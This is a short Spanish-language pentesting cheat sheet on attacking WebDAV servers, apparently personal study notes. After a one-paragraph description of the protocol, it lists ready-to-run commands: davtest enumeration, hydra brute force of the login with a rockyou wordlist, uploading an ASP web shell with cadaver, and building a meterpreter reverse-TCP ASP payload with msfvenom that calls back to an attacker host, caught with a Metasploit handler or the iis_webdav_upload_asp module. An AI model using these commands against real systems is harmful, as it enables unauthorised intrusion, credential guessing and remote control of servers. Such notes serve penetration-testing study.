Web Dav

rcWebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP (Hypertext Transfer Protocol) que permite a los usuarios gestionar y editar archivos almacenados en servidores remotos. WebDAV fue diseñado para facilitar la colaboración entre usuarios en la creación y edición de contenidos en la web, permitiendo operaciones como la carga y descarga de archivos, la gestión de directorios, y la edición directa de archivos en un servidor.

Enumeracion webDAV #

# Si se necesita proveer contraseña se mete el argumento -auth
davtest -url <URL/webdav> -auth user:pass

Fuerza bruta contra webdav login panel #

hydra -L usuarios.txt -P rockyou.txt <IP> http-get /webdav/

Web-shell con cadaver #

cadaver <URL/webdav>
put /usr/share/webshells/asp
# con la enumeracion de cadaver se ve el tipo de ficheros que se pueden subir y cuales se pueden ejecutar

Reverse shell en asp con Metasploit #

Opcion 1 #

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<puerto_atacante> -f asp > shell.asp
cadaver <URL/webdav>
put ./shell.asp


use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST y set LPORT

Visitar el shell.asp desde la web

Opcion 2 #

use exploit/windows/iis/iis_webdav_upload_asp
set payload windows/meterpreter/reverse_tcp
exploit (en lugar de run)